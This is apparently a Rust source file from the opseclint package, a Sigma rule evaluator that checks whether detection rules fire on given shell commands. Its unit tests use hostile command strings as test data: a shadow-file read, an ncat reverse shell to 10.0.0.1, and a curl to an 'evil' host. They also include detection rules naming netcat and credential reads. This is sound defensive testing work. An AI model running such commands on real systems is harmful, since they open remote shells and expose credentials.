opseclint 1.0.0

Detection-coverage analyzer for Linux/auditd, Windows/Sysmon, and macOS/Endpoint Security: resolve shell/command actions to ATT&CK techniques, the telemetry they emit, and the detections that would fire.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
//! Sigma rule-logic evaluator.
//!
//! Evaluates a parsed command against a Sigma rule's actual
//! `detection:`/`condition:` logic, with three-valued (Kleene) logic:
//! `FIRES` / `NO-FIRE` / `INDETERMINATE`. The command is a *command line*, not a
//! full host event, so we synthesize the fields we can legitimately know
//! (`CommandLine`, `Image`, `OriginalFileName`); a rule keyed on a field we
//! cannot see (e.g. `ParentImage`, a hash, a registry value) evaluates to
//! `INDETERMINATE` rather than a false claim. See
//! `docs/design/rule-logic-evaluator.md`.

use std::collections::{HashMap, HashSet};

use serde::{Deserialize, Serialize};
use serde_yaml::Value;

use crate::kb::Platform;
use crate::parser::Command;

/// Fields opseclint can synthesize from a command line.
const SYNTH_FIELDS: &[&str] = &["CommandLine", "Image", "OriginalFileName"];

/// Kleene three-valued truth.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum Ternary {
    True,
    False,
    Unknown,
}

fn and_all<I: IntoIterator<Item = Ternary>>(it: I) -> Ternary {
    let mut unknown = false;
    for t in it {
        match t {
            Ternary::False => return Ternary::False,
            Ternary::Unknown => unknown = true,
            Ternary::True => {}
        }
    }
    if unknown {
        Ternary::Unknown
    } else {
        Ternary::True
    }
}

fn or_all<I: IntoIterator<Item = Ternary>>(it: I) -> Ternary {
    let mut unknown = false;
    for t in it {
        match t {
            Ternary::True => return Ternary::True,
            Ternary::Unknown => unknown = true,
            Ternary::False => {}
        }
    }
    if unknown {
        Ternary::Unknown
    } else {
        Ternary::False
    }
}

fn not_(t: Ternary) -> Ternary {
    match t {
        Ternary::True => Ternary::False,
        Ternary::False => Ternary::True,
        Ternary::Unknown => Ternary::Unknown,
    }
}

#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
enum Modifier {
    Contains,
    StartsWith,
    EndsWith,
    All,
}

/// A `field|mods: values` match. `supported` is false when the field carries a
/// modifier we don't implement yet (`re`, `cidr`, `base64`, …), which makes it
/// evaluate to `Unknown`.
#[derive(Debug, Clone, Serialize, Deserialize)]
struct FieldMatch {
    field: String,
    mods: Vec<Modifier>,
    values: Vec<String>,
    supported: bool,
}

#[derive(Debug, Clone, Serialize, Deserialize)]
enum Search {
    Fields(Vec<FieldMatch>),
    OneOfMaps(Vec<Vec<FieldMatch>>),
    Keywords(Vec<String>),
}

#[derive(Debug, Clone, Serialize, Deserialize)]
enum Cond {
    Id(String),
    And(Box<Cond>, Box<Cond>),
    Or(Box<Cond>, Box<Cond>),
    Not(Box<Cond>),
    /// `N of <pattern>` (`n = Some(k)`) or `all of <pattern>` (`n = None`).
    Quant {
        n: Option<usize>,
        pat: String,
    },
}

/// A parsed Sigma rule reduced to what the evaluator needs.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct DetectionRule {
    pub id: String,
    pub title: String,
    searches: HashMap<String, Search>,
    condition: Cond,
}

/// The verdict of evaluating a rule against a command.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Outcome {
    Fires,
    NoFire,
    Indeterminate,
}

#[derive(Debug, Clone)]
pub struct Verdict {
    pub outcome: Outcome,
    /// For `Indeterminate`: referenced fields opseclint cannot synthesize.
    pub missing_fields: Vec<String>,
}

// --- parsing ---------------------------------------------------------------

fn value_to_string(v: &Value) -> Option<String> {
    match v {
        Value::String(s) => Some(s.clone()),
        Value::Number(n) => Some(n.to_string()),
        Value::Bool(b) => Some(b.to_string()),
        _ => None,
    }
}

fn parse_field_match(key: &str, val: &Value) -> FieldMatch {
    let mut parts = key.split('|');
    let field = parts.next().unwrap_or("").to_string();
    let mut mods = Vec::new();
    let mut supported = true;
    for m in parts {
        match m {
            "contains" => mods.push(Modifier::Contains),
            "startswith" => mods.push(Modifier::StartsWith),
            "endswith" => mods.push(Modifier::EndsWith),
            "all" => mods.push(Modifier::All),
            _ => supported = false, // re, cidr, base64, windash, lt/gt, …
        }
    }
    let values: Vec<String> = match val {
        Value::Sequence(seq) => seq.iter().filter_map(value_to_string).collect(),
        other => value_to_string(other).into_iter().collect(),
    };
    if values.is_empty() {
        supported = false; // e.g. a `null` value (field-absent semantics)
    }
    FieldMatch {
        field,
        mods,
        values,
        supported,
    }
}

fn parse_fields_map(m: &serde_yaml::Mapping) -> Vec<FieldMatch> {
    m.iter()
        .filter_map(|(k, v)| k.as_str().map(|key| parse_field_match(key, v)))
        .collect()
}

fn parse_search(v: &Value) -> Option<Search> {
    match v {
        Value::Mapping(m) => Some(Search::Fields(parse_fields_map(m))),
        Value::Sequence(seq) => {
            if !seq.is_empty() && seq.iter().all(|x| x.is_mapping()) {
                let groups = seq
                    .iter()
                    .filter_map(|item| item.as_mapping().map(parse_fields_map))
                    .collect();
                Some(Search::OneOfMaps(groups))
            } else {
                Some(Search::Keywords(
                    seq.iter().filter_map(value_to_string).collect(),
                ))
            }
        }
        _ => None,
    }
}

/// Parse a Sigma rule (YAML text) into a [`DetectionRule`]. Returns `None` if
/// the rule has no usable `detection`/`condition` (it is then simply skipped by
/// callers rather than mis-evaluated).
pub fn parse_rule(yaml: &str) -> Option<DetectionRule> {
    let doc: Value = serde_yaml::from_str(yaml).ok()?;
    parse_rule_value(&doc)
}

/// Parse an already-deserialized Sigma rule document into a [`DetectionRule`].
pub fn parse_rule_value(doc: &Value) -> Option<DetectionRule> {
    let det = doc.get("detection")?.as_mapping()?;

    let mut searches = HashMap::new();
    let mut condition = None;
    for (k, v) in det {
        let key = k.as_str()?;
        if key == "condition" {
            condition = Some(parse_condition(v.as_str()?)?);
        } else if let Some(s) = parse_search(v) {
            searches.insert(key.to_string(), s);
        }
    }

    Some(DetectionRule {
        id: doc
            .get("id")
            .and_then(|v| v.as_str())
            .unwrap_or_default()
            .to_string(),
        title: doc
            .get("title")
            .and_then(|v| v.as_str())
            .unwrap_or_default()
            .to_string(),
        searches,
        condition: condition?,
    })
}

fn parse_condition(s: &str) -> Option<Cond> {
    let spaced = s.replace('(', " ( ").replace(')', " ) ");
    let toks: Vec<String> = spaced.split_whitespace().map(str::to_string).collect();
    let mut p = CondParser { toks, pos: 0 };
    let cond = p.parse_or()?;
    if p.pos == p.toks.len() {
        Some(cond)
    } else {
        None
    }
}

struct CondParser {
    toks: Vec<String>,
    pos: usize,
}

impl CondParser {
    fn peek(&self) -> Option<&str> {
        self.toks.get(self.pos).map(String::as_str)
    }
    fn next(&mut self) -> Option<String> {
        let t = self.toks.get(self.pos).cloned();
        if t.is_some() {
            self.pos += 1;
        }
        t
    }

    fn parse_or(&mut self) -> Option<Cond> {
        let mut left = self.parse_and()?;
        while self.peek() == Some("or") {
            self.next();
            let right = self.parse_and()?;
            left = Cond::Or(Box::new(left), Box::new(right));
        }
        Some(left)
    }

    fn parse_and(&mut self) -> Option<Cond> {
        let mut left = self.parse_not()?;
        while self.peek() == Some("and") {
            self.next();
            let right = self.parse_not()?;
            left = Cond::And(Box::new(left), Box::new(right));
        }
        Some(left)
    }

    fn parse_not(&mut self) -> Option<Cond> {
        if self.peek() == Some("not") {
            self.next();
            Some(Cond::Not(Box::new(self.parse_not()?)))
        } else {
            self.parse_primary()
        }
    }

    fn parse_primary(&mut self) -> Option<Cond> {
        match self.peek()? {
            "(" => {
                self.next();
                let inner = self.parse_or()?;
                if self.next().as_deref() != Some(")") {
                    return None;
                }
                Some(inner)
            }
            "all" => {
                self.next();
                self.parse_quant(None)
            }
            tok if tok.chars().all(|c| c.is_ascii_digit()) => {
                let n: usize = self.next()?.parse().ok()?;
                self.parse_quant(Some(n))
            }
            _ => Some(Cond::Id(self.next()?)),
        }
    }

    fn parse_quant(&mut self, n: Option<usize>) -> Option<Cond> {
        if self.next().as_deref() != Some("of") {
            return None;
        }
        let pat = self.next()?;
        Some(Cond::Quant { n, pat })
    }
}

// --- evaluation ------------------------------------------------------------

/// Simple glob matcher supporting `*` and `?` (inputs pre-lowercased).
fn glob_match(text: &str, pat: &str) -> bool {
    let t: Vec<char> = text.chars().collect();
    let p: Vec<char> = pat.chars().collect();
    let (mut i, mut j) = (0usize, 0usize);
    let (mut star, mut mark) = (None, 0usize);
    while i < t.len() {
        if j < p.len() && (p[j] == '?' || p[j] == t[i]) {
            i += 1;
            j += 1;
        } else if j < p.len() && p[j] == '*' {
            star = Some(j);
            mark = i;
            j += 1;
        } else if let Some(s) = star {
            j = s + 1;
            mark += 1;
            i = mark;
        } else {
            return false;
        }
    }
    while j < p.len() && p[j] == '*' {
        j += 1;
    }
    j == p.len()
}

fn synthesize(cmd: &Command, platform: Platform) -> HashMap<String, String> {
    let mut m = HashMap::new();
    m.insert("CommandLine".to_string(), cmd.raw.clone());
    let image = match platform {
        Platform::WindowsSysmon => format!("\\{}.exe", cmd.program),
        _ => format!("/{}", cmd.program),
    };
    m.insert("Image".to_string(), image);
    m.insert("OriginalFileName".to_string(), cmd.program.clone());
    m
}

fn eval_field(fm: &FieldMatch, event: &HashMap<String, String>) -> Ternary {
    if !fm.supported {
        return Ternary::Unknown;
    }
    let Some(raw) = event.get(&fm.field) else {
        return Ternary::Unknown;
    };
    let val = raw.to_lowercase();
    let hit = |needle: &str| {
        let n = needle.to_lowercase();
        if fm.mods.contains(&Modifier::Contains) {
            val.contains(&n)
        } else if fm.mods.contains(&Modifier::StartsWith) {
            val.starts_with(&n)
        } else if fm.mods.contains(&Modifier::EndsWith) {
            val.ends_with(&n)
        } else {
            glob_match(&val, &n)
        }
    };
    let matched = if fm.mods.contains(&Modifier::All) {
        fm.values.iter().all(|v| hit(v))
    } else {
        fm.values.iter().any(|v| hit(v))
    };
    if matched {
        Ternary::True
    } else {
        Ternary::False
    }
}

fn eval_search(s: &Search, event: &HashMap<String, String>) -> Ternary {
    match s {
        Search::Fields(fms) => and_all(fms.iter().map(|f| eval_field(f, event))),
        Search::OneOfMaps(groups) => or_all(
            groups
                .iter()
                .map(|g| and_all(g.iter().map(|f| eval_field(f, event)))),
        ),
        Search::Keywords(kws) => match event.get("CommandLine") {
            Some(cl) => {
                let cl = cl.to_lowercase();
                if kws.iter().any(|k| cl.contains(&k.to_lowercase())) {
                    Ternary::True
                } else {
                    Ternary::False
                }
            }
            None => Ternary::Unknown,
        },
    }
}

fn matching_ids<'a>(pat: &str, searches: &'a HashMap<String, Search>) -> Vec<&'a str> {
    if pat == "them" {
        searches.keys().map(String::as_str).collect()
    } else if let Some(prefix) = pat.strip_suffix('*') {
        searches
            .keys()
            .filter(|k| k.starts_with(prefix))
            .map(String::as_str)
            .collect()
    } else {
        searches
            .keys()
            .filter(|k| k.as_str() == pat)
            .map(String::as_str)
            .collect()
    }
}

fn eval_cond(
    cond: &Cond,
    searches: &HashMap<String, Search>,
    event: &HashMap<String, String>,
) -> Ternary {
    match cond {
        Cond::Id(name) => searches
            .get(name)
            .map(|s| eval_search(s, event))
            .unwrap_or(Ternary::Unknown),
        Cond::Not(c) => not_(eval_cond(c, searches, event)),
        Cond::And(a, b) => and_all([eval_cond(a, searches, event), eval_cond(b, searches, event)]),
        Cond::Or(a, b) => or_all([eval_cond(a, searches, event), eval_cond(b, searches, event)]),
        Cond::Quant { n, pat } => {
            let terns: Vec<Ternary> = matching_ids(pat, searches)
                .iter()
                .filter_map(|id| searches.get(*id))
                .map(|s| eval_search(s, event))
                .collect();
            match n {
                None => and_all(terns),
                Some(k) => {
                    let t = terns.iter().filter(|x| **x == Ternary::True).count();
                    let u = terns.iter().filter(|x| **x == Ternary::Unknown).count();
                    if t >= *k {
                        Ternary::True
                    } else if t + u >= *k {
                        Ternary::Unknown
                    } else {
                        Ternary::False
                    }
                }
            }
        }
    }
}

fn collect_fields(s: &Search, out: &mut HashSet<String>) {
    match s {
        Search::Fields(fms) => out.extend(fms.iter().map(|f| f.field.clone())),
        Search::OneOfMaps(groups) => {
            for g in groups {
                out.extend(g.iter().map(|f| f.field.clone()));
            }
        }
        Search::Keywords(_) => {
            out.insert("CommandLine".to_string());
        }
    }
}

fn referenced_fields(rule: &DetectionRule) -> HashSet<String> {
    let mut out = HashSet::new();
    for s in rule.searches.values() {
        collect_fields(s, &mut out);
    }
    out
}

/// Evaluate a rule against a command, returning a three-valued verdict.
pub fn evaluate(rule: &DetectionRule, cmd: &Command, platform: Platform) -> Verdict {
    let event = synthesize(cmd, platform);
    let outcome = match eval_cond(&rule.condition, &rule.searches, &event) {
        Ternary::True => Outcome::Fires,
        Ternary::False => Outcome::NoFire,
        Ternary::Unknown => Outcome::Indeterminate,
    };
    let missing_fields = if outcome == Outcome::Indeterminate {
        let mut m: Vec<String> = referenced_fields(rule)
            .into_iter()
            .filter(|f| !f.is_empty() && !SYNTH_FIELDS.contains(&f.as_str()))
            .collect();
        m.sort();
        m
    } else {
        Vec::new()
    };
    Verdict {
        outcome,
        missing_fields,
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::parser::parse_line;

    fn cmd(s: &str) -> Command {
        parse_line(s).into_iter().next().expect("a command")
    }

    fn verdict(yaml: &str, command: &str) -> Verdict {
        let rule = parse_rule(yaml).expect("rule parses");
        evaluate(&rule, &cmd(command), Platform::LinuxAuditd)
    }

    const SHADOW: &str = r#"
title: Shadow read
id: r1
detection:
    selection:
        CommandLine|contains: '/etc/shadow'
    condition: selection
"#;

    const PARENT: &str = r#"
title: Whoami under sshd
id: r2
detection:
    selection:
        ParentImage|endswith: '/sshd'
        CommandLine|contains: 'whoami'
    condition: selection
"#;

    const FILTER: &str = r#"
title: Curl not apt
id: r3
detection:
    selection:
        CommandLine|contains: 'curl'
    filter:
        CommandLine|contains: 'apt'
    condition: selection and not filter
"#;

    const ONEOF: &str = r#"
title: Netcat
id: r4
detection:
    selection_nc:
        CommandLine|contains: 'nc '
    selection_ncat:
        CommandLine|contains: 'ncat'
    condition: 1 of selection_*
"#;

    #[test]
    fn fires_on_direct_match() {
        assert_eq!(verdict(SHADOW, "cat /etc/shadow").outcome, Outcome::Fires);
    }

    #[test]
    fn indeterminate_when_field_unavailable() {
        let v = verdict(PARENT, "whoami");
        assert_eq!(v.outcome, Outcome::Indeterminate);
        assert!(v.missing_fields.iter().any(|f| f == "ParentImage"));
    }

    #[test]
    fn no_fire_when_filter_excludes() {
        assert_eq!(
            verdict(FILTER, "curl http://apt/x").outcome,
            Outcome::NoFire
        );
        // …but without the filter term it fires.
        assert_eq!(
            verdict(FILTER, "curl http://evil/x").outcome,
            Outcome::Fires
        );
    }

    #[test]
    fn one_of_pattern() {
        assert_eq!(
            verdict(ONEOF, "ncat -e /bin/sh 10.0.0.1 4444").outcome,
            Outcome::Fires
        );
        assert_eq!(verdict(ONEOF, "ls -la").outcome, Outcome::NoFire);
    }

    #[test]
    fn unsupported_modifier_is_indeterminate() {
        let yaml = "title: t\nid: r5\ndetection:\n    selection:\n        CommandLine|re: '.*shadow.*'\n    condition: selection\n";
        assert_eq!(
            verdict(yaml, "cat /etc/shadow").outcome,
            Outcome::Indeterminate
        );
    }

    #[test]
    fn wildcard_value_matches() {
        let yaml = "title: t\nid: r6\ndetection:\n    selection:\n        Image: '*/cat'\n    condition: selection\n";
        assert_eq!(verdict(yaml, "cat /etc/passwd").outcome, Outcome::Fires);
    }

    #[test]
    fn condition_parser_handles_parens_and_not() {
        let rule = parse_rule(FILTER).unwrap();
        // `selection and not filter` parsed into And(Id, Not(Id))
        assert!(matches!(rule.condition, Cond::And(_, _)));
    }
}